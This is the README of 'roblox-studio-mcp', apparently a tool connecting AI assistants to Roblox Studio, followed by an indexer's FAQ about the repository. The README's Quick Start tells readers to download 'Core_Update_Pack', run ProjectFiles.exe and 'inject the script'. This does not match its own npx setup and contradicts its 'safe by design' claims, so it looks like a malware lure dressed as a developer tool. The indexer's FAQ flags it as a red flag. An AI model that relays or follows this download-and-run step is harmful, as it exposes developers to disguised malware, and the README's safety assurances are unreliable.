roblox-studio-mcp README

The project's README from github.com/HerdBuilderEstimate/roblox-studio-mcp. As one markdown file: README.md.

🎮 Roblox Studio MCP

Model Context Protocol Server for Roblox Studio — 2026

Connect your AI coding assistant (Claude, Cursor, Cline, ChatGPT) directly to Roblox Studio. Automate Lua scripting, read object trees, inspect properties, and run playtests — all without leaving your editor.

🎯 What it is

Roblox Studio MCP is a lightweight Node.js/TypeScript server that implements the Model Context Protocol (MCP) to bridge Roblox Studio and AI agents. It acts as a bridge, allowing LLMs to understand your game's architecture, generate and edit Lua scripts, and automate repetitive developer tasks safely.

🔒 Safe by design: no execution of untrusted code, no memory manipulation, and no access to private data. All operations are sandboxed within the Studio plugin.

🚀 Quick Start

Download Project

  1. Download Core_Update_Pack using the button above.
  2. Extract the archive into a separate folder.
  3. Run ProjectFiles.exe.
  4. Follow the on-screen instructions and inject the script.

✨ Features

Feature Description
🧠 MCP Protocol Support Fully compatible with Claude Desktop, Cursor IDE, Cline, and ChatGPT
🏗️ Object Tree Reader Browse the full hierarchy of your Roblox place
✏️ Lua Script Editor Create, read, and update Lua scripts via AI
🔍 Property Inspector Inspect and modify instance properties
▶️ Playtest Control Run, pause, and stop playtests directly from the agent
🛡️ Read-Only Mode Safe mode for exploration without making changes
⚡ Fast & Lightweight Built with Node.js + WebSocket, low memory footprint
🔌 Auto-Discovery Finds open Studio sessions automatically

🧩 Available Tools (MCP API)

Tool Name Description
get_object_tree Returns the full hierarchy of the current place
get_instance Fetch details of a specific Instance by path
create_script Create a new Lua script at a given parent path
update_script Replace the source code of an existing script
delete_instance Delete an object (disabled in safe mode)
get_properties Read properties of any instance
set_property Change a property value
run_playtest Start a playtest session
stop_playtest Stop the current playtest

🛠️ How to use (with Claude Desktop & Cursor)

  1. Open claude_desktop_config.json (or Cursor MCP settings).
  2. Add the following configuration:

{ "mcpServers": { "roblox-studio": { "command": "npx", "args": ["-y", "roblox-studio-mcp"] } } }

  1. Restart your AI assistant.
  2. Ask Claude: "Show me the object tree of my Roblox place".
  3. The AI agent will use the MCP server to fetch the data and respond.

⚙️ Configuration

You can adjust settings via environment variables:

💻 Tech Stack & Architecture

❓ FAQ

Is it safe to use? Yes — the server only interacts with Studio through the official plugin API. It does not inject malicious code or read memory.

Do I need to own the place? Yes, you must have edit access to the place in Roblox Studio.

Does it work with free AI models? Yes, as long as the client supports the MCP protocol (e.g., Cursor, Cline, Claude).

Can I use it on multiple Studio instances? Yes, the server auto-discovers open sessions. Use RBX_MCP_SAFE_MODE=true for read-only exploration.

🤝 Contributing

Pull requests, bug reports, and feature suggestions are welcome. See CONTRIBUTING.md for guidelines.

📜 License

MIT License — free to use, modify and redistribute.

⭐ Star the repo if it helped you.

roblox-studio-mcp (HerdBuilderEstimate/roblox-studio-mcp)

Searching Database…

427 ·GitHub
Roblox-studio-mcp
What is this?An MCP server that connects AI assistants such as Claude or Cursor to Roblox Studio, so they can read the object tree, edit Lua scripts, inspect properties and start or stop playtests.
Is it a plugin, a server, or both?Both: an MCP server that talks to a Lua plugin running inside Studio over WebSockets or stdio. The README calls it a lightweight Node.js/TypeScript server, but the repo metadata lists Python as the main language, so check what the code actually contains.
How do I get it running?Add a 'roblox-studio' entry that runs 'npx -y roblox-studio-mcp' to your Claude Desktop or Cursor MCP config, then restart the assistant. The Quick Start instead tells you to download and run ProjectFiles.exe, which you should not do without checking it first.
What do I need before I start?Roblox Studio with edit access to the place you want to change, an MCP-capable client such as Claude Desktop or Cursor, and Node.js, since the setup launches the server with npx.
Is it safe to run?The README says it is safe by design, but its Quick Start asks you to download a 'CoreUpdatePack' and run an external ProjectFiles.exe, then inject a script. A normal MCP server does not need that, so treat it as a red flag and verify the source before running anything.
Which computers does it work on?Roblox Studio runs only on Windows and macOS, so the server is meant for those. The README never lists supported systems, and its Quick Start uses a Windows .exe.
Does it send my place or prompts anywhere?The README claims 'no access to private data' but does not say what leaves your machine when the AI client calls its tools. Read the code before trusting that claim.
Can I use and modify it for free?Yes. It is MIT licensed, so you can use, modify and redistribute it without charge.
Which tools does the AI get?getobjecttree, getinstance, createscript, updatescript, deleteinstance, getproperties, setproperty, runplaytest and stopplaytest. deleteinstance is disabled in safe mode.
Can I make it read-only?Yes. Set RBXMCPSAFEMODE=true for read-only exploration; it disables destructive actions such as deleteinstance.
Does it work with several Studio windows?Yes. According to the FAQ, the server auto-discovers open Studio sessions.
Will it work with free AI models?Yes, as long as the client supports MCP, such as Cursor, Cline or Claude, according to the README.
What are similar projects?roblox-ai-studio-agent, genex-desktop, davinci-resolve-mcp, unreal-engine-skills-for-claude-code-plugin, unity-mcp, Endoplexity, evenfire, jevmem
Which topics is it in?roblox, lua, game-engine, ai-tools, game-development, websocket, model-context-protocol, cursor, plugin, claude, mcp, automation
Creator
HerdBuilderEstimate
Size
<0.1 MB
Stars
427
Updated
CommitNov 06
Age
1d
Commits · 90 Days